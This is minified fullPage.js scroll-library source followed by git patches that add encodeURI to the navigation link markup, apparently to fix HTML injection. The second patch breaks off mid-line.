0!==e&&(l=e?"up":"down"),u.direction=l,q(Qn().beforeLeave)&&!1===Ke("beforeLeave",u))return;if(q(Qn().onLeave)&&!St("onLeave",u))return}Qn().autoScrolling&&Qn().continuousVertical&&void 0!==u.isMovementUp&&(!u.isMovementUp&&"up"==u.yMovement||u.isMovementUp&&"down"==u.yMovement)&&(u=function(n){un({V:!0});var t=ln().g.item;return n.isMovementUp?z(t,J(t,Tn)):C(t,Z(t,Tn).reverse()),ht(ln().g.item.offsetTop),function(){for(var n=p(Dn),t=0;t<n.length;t++)_t(n[t],"internal")}(),n.kn=t,n.dtop=n.element.offsetTop,n.yMovement=st(ln().g,n.element),n}(u)),u.localIsResizing||xt(ln().g.item),O(o,wn),D(B(o),wn),Ut(),kt(o),un({R:c.test.An}),Lt(r,i,u.anchorLink),function(n){var t=Qn().scrollingSpeed<700,e=t?700:Qn().scrollingSpeed;if(un({C:"none",scrollY:Math.round(n.dtop)}),rn.l("onPerformMovement"),Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)pt("translate3d(0px, -"+Math.round(n.dtop)+"px, 0px)",!0),Qn().scrollingSpeed?(clearTimeout(Be),Be=setTimeout((function(){qe(n),un({R:!t||c.test.An})}),Qn().scrollingSpeed)):qe(n);else{var o=lt(n.dtop);c.test.top=-n.dtop+"px",b(Dt,{"scroll-behavior":"unset"}),clearTimeout(Be),wt(o.element,o.options,Qn().scrollingSpeed,(function(){Qn().scrollBar?Be=setTimeout((function(){qe(n)}),30):(qe(n),un({R:!t||c.test.An}))}))}t&&(clearTimeout(Ie),Ie=setTimeout((function(){un({R:!0})}),e))}(u),un({j:u.anchorLink}),We(u.anchorLink,u.sectionIndex)}}}function qe(n){Qn().fitToSection&&b(r.body,{"scroll-snap-type":"y mandatory"}),un({T:!1}),function(n){null!=n.kn&&(n.isMovementUp?z(p(Tn)[0],n.kn):C(p(Tn)[ln().h.length-1],n.kn),ht(ln().g.item.offsetTop),function(){for(var n=p(Dn),t=0;t<n.length;t++)_t(n[t],"internal")}(),un({V:!1}))}(n),q(Qn().afterLoad)&&!n.localIsResizing&&St("afterLoad",n),Ut(),n.localIsResizing||Tt(n.element),O(n.element,yn),D(B(n.element),yn),Ve(),de.un(),un({R:!0}),q(n.callback)&&n.callback()}function Ge(){var n=ln().g.next();n||!Qn().loopBottom&&!Qn().continuousVertical||(n=ln().h[0]),null!=n?_e(n,null,!1):Yn().scrollHeight<At.scrollHeight&&rn.l("scrollBeyondFullpage")}function Ue(){var n=ln().g.prev();n||!Qn().loopTop&&!Qn().continuousVertical||(n=nn(ln().h)),null!=n&&_e(n,null,!0)}c.moveTo=moveTo,c.getScrollY=function(){return an.scrollY},rn.u("onDestroy",(function(){clearTimeout(Be),clearTimeout(Ie)})),c.moveSectionDown=Ge,c.moveSectionUp=Ue;var Ye=0;function Qe(n){Qn().autoScrolling&&(an.R&&(n.pageY<Ye&&Bt().m.up?Ue():n.pageY>Ye&&Bt().m.down&&Ge()),Ye=n.pageY)}function Xe(n){if(Bt().m[n]){var t="down"===n?Ge:Ue;Qn().scrollOverflow&&de.gn(ln().g)?de.wn(n,ln().g.item)&&de.bn()&&t():t()}}var $e,Je,Ze,no=0,to=0,eo=0,oo=0,io=(i.PointerEvent&&(Ze={down:"pointerdown",move:"pointermove"}),Ze),ro={On:"ontouchmove"in window?"touchmove":io.move,Dn:"ontouchstart"in window?"touchstart":io.down};function ao(n){var t=R(n.target,Tn)||ln().g.item,e=de.gn(ln().g),o=Math.abs(no-eo)>i.innerHeight/100*Qn().touchSensitivity,r=Math.abs(to-oo)>w()/100*Qn().touchSensitivity,a=p(En,t).length&&Math.abs(to-oo)>Math.abs(no-eo),u=no>eo?"down":"up",l=a?to>oo?"right":"left":u;if(uo(n)){un({N:!0}),Qn().autoScrolling&&(!e||e&&!an.R)&&I(n);var c=fo(n);eo=c.y,oo=c.x,un({C:l}),a?!an.A&&r&&(to>oo?Bt().m.right&&rn.l("moveSlideRight",{section:t}):Bt().m.left&&rn.l("moveSlideLeft",{section:t})):Qn().autoScrolling&&an.R&&o&&Xe(u)}}function uo(n){return void 0===n.pointerType||"mouse"!=n.pointerType}function lo(n){if(Qn().fitToSection&&un({P:!1}),uo(n)){var t=fo(n);no=t.y,to=t.x}W("touchend",co)}function co(){_("touchend",co),un({N:!1})}function fo(n){var t={};return t.y=void 0!==n.pageY&&(n.pageY||n.pageX)?n.pageY:n.touches[0].pageY,t.x=void 0!==n.pageX&&(n.pageY||n.pageX)?n.pageX:n.touches[0].pageX,l&&uo(n)&&Qn().scrollBar&&void 0!==n.touches&&(t.y=n.touches[0].pageY,t.x=n.touches[0].pageX),t}function so(n){Qn().autoScrolling&&uo(n)&&Bt().m.up&&(an.R||I(n))}function vo(n,t){var e=null==t?ln().g.item:t,o=et(an.h,e),i=p(En,e)[0];if(!(null==i||an.A||o.slides.length<2)){var r=o.activeSlide,a="left"===n?r.prev():r.next();if(!a){if(!Qn().loopHorizontal)return;a="left"===n?nn(o.slides):o.slides[0]}un({A:!c.test.An}),Vt(i,a.item,n)}}function po(n){vo("left",n)}function ho(n){vo("right",n)}function mo(n){var t=ln().h.filter((function(t){return t.anchor===n}))[0];if(!t){var e=void 0!==n?n-1:0;t=ln().h[e]}return t}function go(n){null!=n&&Vt(R(n,En),n)}function wo(n,t){var e=mo(n);if(null!=e){var o=function(n,t){var e=t.slides.filter((function(t){return t.anchor===n}))[0];return null==e&&(n=void 0!==n?n:0,e=t.slides[n]),e?e.item:null}(t,e);e.anchor===an.j||m(e.item,wn)?go(o):_e(e,(function(){go(o)}))}}function bo(n,t){var e=mo(n);void 0!==t?wo(n,t):null!=e&&_e(e)}function yo(){clearTimeout(Je),K("keydown",So),K("keyup",To)}function So(n){clearTimeout(Je);var t=r.activeElement,e=n.keyCode,o=[37,39].indexOf(e)>-1,i=Qn().autoScrolling||o;9===e?function(n){var t=n.shiftKey,e=r.activeElement,o=xo(ut(ln().g.item));function i(n){return I(n),o[0]?o[0].focus():null}(function(n){var t=xo(r),e=t.indexOf(r.activeElement),o=t[n.shiftKey?e-1:e+1],i=R(o,On),a=R(o,Tn);return!i&&!a})(n)||(e?null==R(e,".fp-section.active,.fp-section.active .fp-slide.active")&&(e=i(n)):i(n),(!t&&e==o[o.length-1]||t&&e==o[0])&&I(n))}(n):U(t,"textarea")||U(t,"input")||U(t,"select")||"true"===H(t,"contentEditable")||""===H(t,"contentEditable")||!Qn().keyboardScrolling||!i||($e=n.ctrlKey,Je=setTimeout((function(){!function(n){var t=n.shiftKey,e=r.activeElement,o=U(e,"video")||U(e,"audio"),i=de.wn("up",ln().g.item),a=de.wn("down",ln().g.item),u=[37,39].indexOf(n.keyCode)>-1;if(ko(n),an.R||u)switch(un({S:"keydown"}),n.keyCode){case 38:case 33:Bt().k.up&&i&&(an.T?rn.l("onKeyDown",{e:n}):Ue());break;case 32:if(t&&Bt().k.up&&!o&&i){Ue();break}case 40:case 34:if(Bt().k.down&&a){if(an.T)return;32===n.keyCode&&o||Ge()}break;case 36:Bt().k.up&&bo(1);break;case 35:Bt().k.down&&bo(ln().h.length);break;case 37:Bt().k.left&&po();break;case 39:Bt().k.right&&ho()}}(n)}),0))}function To(n){an.B&&($e=n.ctrlKey)}function Mo(){un({B:!1}),$e=!1}function xo(n){return[].slice.call(p('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, [tabindex="0"], [contenteditable]',n)).filter((function(n){return"-1"!==H(n,"tabindex")&&null!==n.offsetParent}))}function ko(n){(function(n){return[40,38,32,33,34].indexOf(n.keyCode)>-1&&!an.T})(n)&&!R(n.target,zn)&&n.preventDefault()}c.moveSlideLeft=po,c.moveSlideRight=ho,c.moveTo=bo,rn.u("bindEvents",(function(){W("blur",Mo),V("keydown",So),At.addEventListener("keydown",ko),V("keyup",To),rn.u("onDestroy",yo)}));var Ao=(new Date).getTime(),Oo=[];function Do(n){n?(function(){var n,t="";i.addEventListener?n="addEventListener":(n="attachEvent",t="on");var e="onwheel"in r.createElement("div")?"wheel":void 0!==r.onmousewheel?"mousewheel":"DOMMouseScroll",o=Me();"DOMMouseScroll"==e?r[n](t+"MozMousePixelScroll",jo,o):r[n](t+e,jo,o)}(),Yn().addEventListener("mousedown",Eo),Yn().addEventListener("mouseup",Lo)):(r.addEventListener?(K("mousewheel",jo,!1),K("wheel",jo,!1),K("MozMousePixelScroll",jo,!1)):r.detachEvent("onmousewheel",jo),Yn().removeEventListener("mousedown",Eo),Yn().removeEventListener("mouseup",Lo))}function jo(n){var t=(new Date).getTime(),e=m(p(".fp-completely")[0],"fp-normal-scroll"),o=function(n,t){(new Date).getTime();var e=ln().T&&n.getBoundingClientRect().bottom>=0&&"up"===Le.Mn(),o=ln().xn;if(o)return I(t),!1;if(ln().T){if(e){var i;if(!(o||He("isNewKeyframe","beyondFullpage")&&Le.Tn()))return(i=lt(nn(ln().h).item.offsetTop+nn(ln().h).item.offsetHeight)).element.scrollTo(0,i.options),un({xn:!1}),I(t),!1;if(Le.Tn())return e=!1,un({xn:!0}),un({S:"wheel"}),Ce(),I(t),!1}else He("set","beyondFullpage",1e3);if(!o&&!e)return!0}}(Yn(),n);if(!Bt().m.down&&!Bt().m.up)return I(n),!1;if(o)return!0;if(!1===o)return I(n),!1;if(Qn().autoScrolling&&!$e&&!e){var r=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,a=Math.max(-1,Math.min(1,r)),u=void 0!==n.wheelDeltaX||void 0!==n.deltaX,l=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!u,c=a<0?"down":a>0?"up":"none";Oo.length>149&&Oo.shift(),Oo.push(Math.abs(r)),Qn().scrollBar&&I(n);var f=t-Ao;return Ao=t,f>200&&(Oo=[]),un({F:c}),an.R&&tn(Oo,10)>=tn(Oo,70)&&l&&(un({S:"wheel"}),Xe(a<0?"down":"up")),!1}Qn().fitToSection&&un({P:!1})}function Eo(n){var t;2==n.which&&(t=n.pageY,Ye=t,Yn().addEventListener("mousemove",Qe))}function Lo(n){2==n.which&&Yn().removeEventListener("mousemove",Qe)}function Po(n){n?(Do(!0),function(){if(a||l){Qn().autoScrolling&&(At.removeEventListener(ro.On,so,{passive:!1}),At.addEventListener(ro.On,so,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(ro.Dn,lo),n.removeEventListener(ro.On,ao,{passive:!1}),n.addEventListener(ro.Dn,lo),n.addEventListener(ro.On,ao,{passive:!1})}}()):(Do(!1),function(){if(a||l){Qn().autoScrolling&&(At.removeEventListener(ro.On,ao,{passive:!1}),At.removeEventListener(ro.On,so,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(ro.Dn,lo),n.removeEventListener(ro.On,ao,{passive:!1})}}())}c.setMouseWheelScrolling=Do;var Ro=!0;function Co(){["mouseenter","touchstart","mouseleave","touchend"].forEach((function(n){K(n,Fo,!0)}))}function zo(n,t){document["fp_"+n]=t,V(n,Fo,!0)}function Fo(n){var t=n.type,e=!1,o="mouseleave"===t?n.toElement||n.relatedTarget:n.target;o!=document&&o?("touchend"===t&&(Ro=!1,setTimeout((function(){Ro=!0}),800)),("mouseenter"!==t||Ro)&&(Qn().normalScrollElements.split(",").forEach((function(n){if(!e){var t=U(o,n),i=R(o,n);(t||i)&&(c.shared.jn||Po(!1),c.shared.jn=!0,e=!0)}})),!e&&c.shared.jn&&(Po(!0),c.shared.jn=!1))):Po(!0)}function No(n,t){mt(0,"internal"),bo(n,t),mt(Xn().scrollingSpeed,"internal")}rn.u("bindEvents",(function(){Qn().normalScrollElements&&(["mouseenter","touchstart"].forEach((function(n){zo(n,!1)})),["mouseleave","touchend"].forEach((function(n){zo(n,!0)}))),rn.u("onDestroy",Co)})),c.silentMoveTo=No;var Bo,Io=g(),Ho=w(),Vo=!1;function Wo(){clearTimeout(Bo),_("resize",Ko)}function Ko(){Vo||(Qn().autoScrolling&&!Qn().scrollBar||!Qn().fitToSection)&&qo(g()),Vo=!0,clearTimeout(Bo),Bo=setTimeout((function(){!function(){if(un({O:!0}),qo(""),!Qn().fitToSection||Qn().autoScrolling||an.T||function(){if(!Qn().autoScrolling||Qn().scrollBar){var n=.01*i.innerHeight;r.documentElement.style.setProperty("--vh","".concat(n,"px"))}}(),rn.l("contentChanged"),Ut(),ce(),a){var n=r.activeElement;if(!U(n,"textarea")&&!U(n,"input")&&!U(n,"select")){var t=g();Math.abs(t-Io)>20*Math.max(Io,t)/100&&(_o(!0),Io=t)}}else e=g(),o=w(),an.H===e&&Ho===o||(un({H:e}),Ho=o,_o(!0));var e,o;un({O:!1})}(),Vo=!1}),400)}function _o(n){if(!m(Yn(),mn)){un({O:!0,H:g(),En:w()});for(var t=ln().h,e=0;e<t.length;++e){var o=t[e],r=p(En,o.item)[0];o.slides.length>1&&Vt(r,o.activeSlide.item)}Qn().scrollOverflow&&de.an();var a=ln().g.index();an.T||a&&No(a+1),un({O:!1}),q(Qn().afterResize)&&n&&Qn().afterResize.call(Yn(),i.innerWidth,i.innerHeight),q(Qn().afterReBuild)&&!n&&Qn().afterReBuild.call(Yn()),G(Yn(),"afterRebuild")}}function qo(n){var t=""===n?"":n+"px";ln().h.forEach((function(n){b(n.item,{height:t})}))}function Go(){var n,t,e=i.location.hash;if(e.length){var o=e.replace("#","").split("/"),r=e.indexOf("#/")>-1;n=r?"/"+o[1]:decodeURIComponent(o[0]);var a=r?o[2]:o[1];a&&a.length&&(t=decodeURIComponent(a))}return{section:n,J:t}}function Uo(){_("hashchange",Yo)}function Yo(){if(!an.D&&!Qn().lockAnchors){var n=Go(),t=n.section,e=n.J,o=void 0===an.j,i=void 0===an.j&&void 0===e&&!an.A;t&&t.length&&(t&&t!==an.j&&!o||i||!an.A&&an.L!=e)&&rn.l("onScrollPageAndSlide",{Ln:t,slideAnchor:e})}}function Qo(n){var t=n.target;R(t,Qn().menu+" [data-menuanchor]")&&Xo.call(t,n)}function Xo(n){un({S:"menu"}),!p(Qn().menu)[0]||!Qn().lockAnchors&&Qn().anchors.length||(I(n),rn.l("onMenuClick",{anchor:H(this,"data-menuanchor")}))}function $o(n){var t=n.target;t&&R(t,"#fp-nav a")?ee.call(t,n.e):U(t,".fp-tooltip")?ne.call(t):(U(t,Nn)||null!=R(t,Nn))&&Ct.call(t,n.e)}c.reBuild=_o,rn.u("bindEvents",(function(){W("resize",Ko),rn.u("onDestroy",Wo)})),c.setLockAnchors=function(n){Qn().lockAnchors=n},rn.u("bindEvents",(function(){W("hashchange",Yo),rn.u("onDestroy",Uo)})),rn.u("bindEvents",(function(){V("wheel",Le.Sn,Me()),rn.u("scrollBeyondFullpage",Pe),rn.u("onKeyDown",Re)})),rn.u("bindEvents",(function(){rn.u("onClickOrTouch",Qo)})),rn.u("bindEvents",(function(){rn.u("onClickOrTouch",$o)}));var Jo,Zo=0;function ni(n){var t,e,o,i,r;if(!an.O&&ln().g&&(nn(ln().h),!ln().T&&!ln().xn&&(!Qn().autoScrolling||Qn().scrollBar))){var a=N(Qn()),u=function(n){var t=n>Zo?"down":"up";return Zo=n,un({I:n}),t}(a),l=0,c=a+g()/2,f=At.scrollHeight-g()===a,s=ln().h;if(un({scrollY:a}),f)l=s.length-1;else if(a)for(var v=0;v<s.length;++v)s[v].item.offsetTop<=c&&(l=v);else l=0;if(o=u,i=ln().g.item.offsetTop,r=i+g(),("up"==o?r>=N(Qn())+g():i<=N(Qn()))&&(m(ln().g.item,yn)||(O(ln().g.item,yn),D(B(ln().g.item),yn))),e=(t=s[l]).item,!t.isActive){un({D:!0});var d,p,h=ln().g.item,w=ln().g.index()+1,b=st(ln().g,e),y=t.anchor,S=t.index()+1,T=t.activeSlide,M={g:h,sectionIndex:S-1,anchorLink:y,element:e,leavingSection:w,direction:b,items:{origin:ln().g,destination:t}};T&&(p=T.anchor,d=T.index()),an.R&&(O(e,wn),D(B(e),wn),q(Qn().beforeLeave)&&Ke("beforeLeave",M),q(Qn().onLeave)&&St("onLeave",M),q(Qn().afterLoad)&&St("afterLoad",M),xt(h),kt(e),Tt(e),We(y,S-1),Qn().anchors.length&&un({j:y}),Lt(d,p,y),Ut()),clearTimeout(Jo),Jo=setTimeout((function(){un({D:!1})}),100)}}}function ti(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Nt(n,t,"k")})):(Nt(n,"all","k"),Qn().keyboardScrolling=n)}function ei(n){var t=n.index();void 0!==Qn().anchors[t]&&n.isActive&&We(Qn().anchors[t],t),Qn().menu&&Qn().css3&&null!=R(p(Qn().menu)[0],dn)&&p(Qn().menu).forEach((function(n){At.appendChild(n)}))}function oi(){b(function(n,t){var e=[n];do{n=n.parentNode,e.push(n)}while(!U(n,"body"));return e}(Yn()),{height:"100%",position:"relative"}),O(Yn(),vn),O(Ot,gn),un({H:g()}),D(Yn(),mn),Zt();for(var n=ln().G,t=0;t<n.length;t++){var e=n[t],o=e.en;e.item.setAttribute("data-fp-styles",H(e.item,"style")),we(e),ei(e),o.length>0&&he(e)}Qn().fixedElements&&Qn().css3&&p(Qn().fixedElements).forEach((function(n){At.appendChild(n)})),Qn().navigation&&te(),p('iframe[src*="youtube.com/embed/"]',Yn()).forEach((function(n){var t,e;e=H(t=n,"src"),t.setAttribute("src",e+(/\?/.test(e)?"&":"?")+"enablejsapi=1")}))}function ii(){var n,t,e=ln().g,o=ln().g.item;O(o,yn),kt(o),Ve(),Tt(o),t=mo((n=Go()).section),n.section&&t&&(void 0===t||t.index()!==T(ge))||!q(Qn().afterLoad)||St("afterLoad",{g:o,element:o,direction:null,anchorLink:e.anchor,sectionIndex:e.index(),items:{origin:ln().g,destination:ln().g}}),q(Qn().afterRender)&&St("afterRender")}function ri(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Nt(n,t,"m")})):Nt(n,"all","m")}function ai(){var n=Go(),t=n.section,e=n.J;t&&(Qn().animateAnchor?wo(t,e):No(t,e))}function ui(){var n=Qn().licenseKey;Qn()&&an.Pn||r.domain.indexOf("alvarotrigo.com")>-1?n&&n.length:(s("error","Fullpage.js requires a `licenseKey` option. Read about it on the following URL:"),s("error","https://github.com/alvarotrigo/fullPage.js#options")),m(Ot,gn)?s("error","Fullpage.js can only be initialized once and you are doing it multiple times!"):(Qn().continuousVertical&&(Qn().loopTop||Qn().loopBottom)&&(Qn().continuousVertical=!1,s("warn","Option `loopTop/loopBottom` is mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),!Qn().scrollOverflow||!Qn().scrollBar&&Qn().autoScrolling||s("warn","Options scrollBar:true and autoScrolling:false are mutually exclusive with scrollOverflow:true. Sections with scrollOverflow might not work well in Firefox"),!Qn().continuousVertical||!Qn().scrollBar&&Qn().autoScrolling||(Qn().continuousVertical=!1,s("warn","Scroll bars (`scrollBar:true` or `autoScrolling:false`) are mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),f.forEach((function(n){Qn()[n]&&s("warn","fullpage.js extensions require fullpage.extensions.min.js file instead of the usual fullpage.js. Requested: "+n)})),Qn().anchors.forEach((function(n){var t=[].slice.call(p("[name]")).filter((function(t){return H(t,"name")&&H(t,"name").toLowerCase()==n.toLowerCase()})),e=[].slice.call(p("[id]")).filter((function(t){return H(t,"id")&&H(t,"id").toLowerCase()==n.toLowerCase()}));if(e.length||t.length){s("error","data-anchor tags can not have the same value as any `id` element on the site (or `name` element for IE).");var o=e.length?"id":"name";(e.length||t.length)&&s("error",'"'+n+'" is is being used by another element `'+o+"` property")}})))}function li(n,t){var e;if(At=p("body")[0],Ot=p("html")[0],Dt=p("html, body"),!m(Ot,gn))return"touchWrapper",e="string"==typeof n?p(n)[0]:n,Kn.touchWrapper=e,function(n){Un=h({},Kn,n),Gn=Object.assign({},Un)}(t),function(n){_n=n}("string"==typeof n?p(n)[0]:n),rn.l("onInitialise"),ui(),c.getFullpageData=function(){return{options:Qn()}},c.version="4.0.4",c.test=Object.assign(c.test,{top:"0px",X:"translate3d(0px, 0px, 0px)",nn:function(){for(var n=[],t=0;t<p(Qn().sectionSelector,Yn()).length;t++)n.push("translate3d(0px, 0px, 0px)");return n}(),left:function(){for(var n=[],t=0;t<p(Qn().sectionSelector,Yn()).length;t++)n.push(0);return n}(),options:Qn(),setAutoScrolling:null}),c.shared=Object.assign(c.shared,{Rn:null,jn:!1}),i.fullpage_api=c,Yn()&&(rn.l("beforeInit"),Yt(),Ut(),Qn().scrollBar=Qn().scrollBar||Qn().hybrid,Jn(),oi(),le(!0),ri(!0),Po(!0),ie(Qn().autoScrolling,"internal"),ce(),jt(),"complete"===r.readyState&&ai(),W("load",ai),ii(),Yt(),Ut(),rn.l("bindEvents")),i.fullpage_api;ui()}return rn.u("onDestroy",(function(){clearTimeout(Jo),clearTimeout(void 0)})),rn.u("bindEvents",(function(){W("scroll",ni),r.body.addEventListener("scroll",ni),rn.u("onScrollPageAndSlide",(function(n){wo(n.Ln,n.slideAnchor)})),rn.u("onMenuClick",(function(n){bo(n.anchor,void 0)})),rn.u("onScrollOverflowScrolled",(function(n){("down"===n.direction?Ge:Ue)()})),rn.u("scrollPage",(function(n){_e(n.destination)}))})),rn.u("onDestroy",(function(){_("scroll",ni)})),c.getActiveSlide=function(){return yt(ln().g.activeSlide.item)},c.getScrollX=function(){return an.scrollX},rn.u("bindEvents",(function(){rn.u("onDestroy",Wt),rn.u("landscapeScroll",(function(n){Vt(n.slides,n.destination)})),rn.u("moveSlideRight",(function(n){ho(n.section)})),rn.u("moveSlideLeft",(function(n){po(n.section)}))})),rn.u("bindEvents",(function(){var n=Qn().credits.position,t=["left","right"].indexOf(n)>-1?"".concat(n,": 0;"):"",e='\n        <div class="fp-watermark" style="'.concat(t,'">\n            <a href="https://alvarotrigo.com/fullPage/" \n                rel="nofollow noopener" \n                target="_blank" \n                style="text-decoration:none; color: #000;">\n                    ').concat(Qn().credits.label,"\n            </a>\n        </div>\n    "),o=nn(an.h),i=Qn().credits.enabled&&!an.Pn;o&&o.item&&i&&o.item.insertAdjacentHTML("beforeend",e)})),function(){rn.u("onInitialise",(function(){var t,u;un({Pn:(Qn().licenseKey,t=Qn().licenseKey,u=function(t){var e=parseInt("514").toString(16);if(!t||t.length<29||4===t.split(n[0]).length)return null;var o=["Each","for"][i()]().join(""),u=t[["split"]]("-"),l=[];u[o]((function(n,t){if(t<4){var o=function(n){var t=n[n.length-1],e=["NaN","is"][i()]().join("");return window[e](t)?r(t):function(n){return n-wn.length}(t)}(n);l.push(o);var a=r(n[o]);if(1===t){var u=["pa","dS","t","art"].join("");a=a.toString()[u](2,"0")}e+=a,0!==t&&1!==t||(e+="-")}}));var c=0,f="";return t.split("-").forEach((function(n,t){if(t<4){for(var e=0,o=0;o<4;o++)o!==l[t]&&(e+=Math.abs(r(n[o])),isNaN(n[o])||c++);var i=a(e);f+=i}})),f+=a(c),{Cn:new Date(e+"T00:00"),zn:e.split("-")[2]===8*(wn.length-2)+"",Fn:f}}(t),u&&(Qn().credits&&u&&u.Cn<=e&&u.Fn===t.split(n[0])[4]||function(n){var t=o[i()]().join("");return n&&0===t.indexOf(n)&&n.length===t.length}(t)||u.zn)||!1)})}));var n=["-"],t="2022-3-12".split("-"),e=new Date(t[0],t[1],t[2]),o=["se","licen","-","v3","l","gp"];function i(){return[["re","verse"].join("")]["".length]}function r(n){return isNaN(n)?n.charCodeAt(0)-72:n}function a(n){var t=72+n;return t>90&&t<97&&(t+=15),String.fromCharCode(t).toUpperCase()}}(),c.setKeyboardScrolling=ti,c.shared.Rn=ii,c.setAllowScrolling=ri,c.destroy=function(n){ie(!1,"internal"),ri(!0),Po(!1),ti(!1),O(Yn(),mn),rn.l("onDestroy"),n&&(ht(0),p("img[data-src], source[data-src], audio[data-src], iframe[data-src]",Yn()).forEach((function(n){en(n,"src")})),p("img[data-srcset]").forEach((function(n){en(n,"srcset")})),X(p("#fp-nav, .fp-slidesNav, .fp-controlArrow")),b(tt(ln().h),{height:"","background-color":"",padding:""}),b(tt(ln().slides),{width:""}),b(Yn(),{height:"",position:"","-ms-touch-action":"","touch-action":""}),b(Dt,{overflow:"",height:""}),D(Ot,gn),D(At,pn),At.className.split(/\s+/).forEach((function(n){0===n.indexOf("fp-viewing")&&D(At,n)})),tt(ln().Y).forEach((function(n){Qn().scrollOverflow&&D(n,Cn),D(n,"fp-table active "+yn),H(n,"data-fp-styles")&&n.setAttribute("style",H(n,"data-fp-styles")),m(n,Sn)&&!qn&&n.removeAttribute("data-anchor")})),vt(Yn()),[Mn,Pn,En].forEach((function(n){p(n,Yn()).forEach((function(n){P(n)}))})),b(Yn(),{"-webkit-transition":"none",transition:"none"}),i.scrollTo(0,0),[Sn,An,Ln].forEach((function(n){D(p("."+n),n)})))},i.fp_easings=h(i.fp_easings,{easeInOutCubic:function(n,t,e,o){return(n/=o/2)<1?e/2*n*n*n+t:e/2*((n-=2)*n*n+2)+t}}),i.jQuery&&function(n,t){n&&t?n.fn.fullpage=function(e){e=n.extend({},e,{$:n}),new t(this[0],e),Object.keys(c).forEach((function(n){Qn().$.fn.fullpage[n]=c[n]}))}:s("error","jQuery is required to use the jQuery fullpage adapter!")}(i.jQuery,li),li}));

From 3fd81be964fb7d778bf5696de4b613d4b960f88c Mon Sep 17 00:00:00 2001
From: ranjit-git <pahan.ranjit0201@gmail.com>
Date: Tue, 12 Apr 2022 22:55:43 +0530
Subject: [PATCH 2/5] Update fullpage.js

---
 dist/fullpage.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/dist/fullpage.js b/dist/fullpage.js
index a17694bf4..9e4a0a341 100644
--- a/dist/fullpage.js
+++ b/dist/fullpage.js
@@ -1829,7 +1829,7 @@
 
       for (var i = 0; i < numSlides; i++) {
         var slide = $(SLIDE_SEL, sectionElem)[i];
-        appendTo(createElementFromHTML('<li><a href="#"><span class="fp-sr-only">' + getBulletLinkName(i, 'Slide', slide) + '</span><span></span></a></li>'), $('ul', nav)[0]);
+        appendTo(createElementFromHTML('<li><a href="#"><span class="fp-sr-only">' + encodeURI(getBulletLinkName(i, 'Slide', slide)) + '</span><span></span></a></li>'), $('ul', nav)[0]);
       } //centering it
 
 
@@ -2354,7 +2354,7 @@
           link = section.anchor;
         }
 
-        li += '<li><a href="#' + link + '"><span class="fp-sr-only">' + getBulletLinkName(section.index(), 'Section') + '</span><span></span></a>'; // Only add tooltip if needed (defined by user)
+        li += '<li><a href="#' + encodeURI(link) + '"><span class="fp-sr-only">' + encodeURI(getBulletLinkName(section.index(), 'Section')) + '</span><span></span></a>'; // Only add tooltip if needed (defined by user)
 
         var tooltip = getOptions().navigationTooltips[section.index()];
 

From 8e8dbd280ff09f1ae3faac5b9ac220eb258fd696 Mon Sep 17 00:00:00 2001
From: ranjit-git <pahan.ranjit0201@gmail.com>
Date: Tue, 12 Apr 2022 22:56:29 +0530
Subject: [PATCH 3/5] Update fullpage.extensions.min.js

---
 dist/fullpage.extensions.min.js | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/dist/fullpage.extensions.min.js b/dist/fullpage.extensions.min.js
index 98e887f46..7904db4fc 100644
--- a/dist/fullpage.extensions.min.js
+++ b/dist/fullpage.extensions.min.js
@@ -8,4 +8,4 @@
 *
 * Copyright (C) 2018 http://alvarotrigo.com/fullPage - A project by Alvaro Trigo
 */
-!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).fullpage=t()}(this,(function(){"use strict";var n,t,e,o;Array.prototype.find||Object.defineProperty(Array.prototype,"find",{value:function(n){if(null==this)throw new TypeError('"this" is null or not defined');var t=Object(this),e=t.length>>>0;if("function"!=typeof n)throw new TypeError("predicate must be a function");for(var o=arguments[1],i=0;i<e;){var r=t[i];if(n.call(o,r,i,t))return r;i++}}}),Array.from||(Array.from=(n=Object.prototype.toString,t=function(t){return"function"==typeof t||"[object Function]"===n.call(t)},e=Math.pow(2,53)-1,o=function(n){var t=function(n){var t=Number(n);return isNaN(t)?0:0!==t&&isFinite(t)?(t>0?1:-1)*Math.floor(Math.abs(t)):t}(n);return Math.min(Math.max(t,0),e)},function(n){var e=this,i=Object(n);if(null==n)throw new TypeError("Array.from requires an array-like object - not null or undefined");var r,a=arguments.length>1?arguments[1]:void 0;if(void 0!==a){if(!t(a))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(r=arguments[2])}for(var l,u=o(i.length),c=t(e)?Object(new e(u)):new Array(u),s=0;s<u;)l=i[s],c[s]=a?void 0===r?a(l,s):a.call(r,l,s):l,s+=1;return c.length=u,c}));var i=window,r=document,a=navigator.userAgent.match(/(iPhone|iPod|iPad|Android|playbook|silk|BlackBerry|BB10|Windows Phone|Tizen|Bada|webOS|IEMobile|Opera Mini)/),l=/(Mac|iPhone|iPod|iPad)/i.test(i.navigator.userAgent),u="ontouchstart"in i||navigator.msMaxTouchPoints>0||navigator.maxTouchPoints,c={test:{},shared:{}};function s(n,t){i.console&&i.console[n]&&i.console[n]("fullPage: "+t)}function f(n){return"none"!==i.getComputedStyle(n).display}function d(n){return Array.from(n).filter((function(n){return f(n)}))}function v(n,t){return(t=arguments.length>1?t:document)?t.querySelectorAll(n):null}function p(n){n=n||{};for(var t=1,e=arguments.length;t<e;++t){var o=arguments[t];if(o)for(var i in o)o.hasOwnProperty(i)&&"__proto__"!=i&&"constructor"!=i&&("[object Object]"!==Object.prototype.toString.call(o[i])?n[i]=o[i]:n[i]=p(n[i],o[i]))}return n}function h(n,t){return null!=n&&n.classList.contains(t)}function g(){return"innerHeight"in 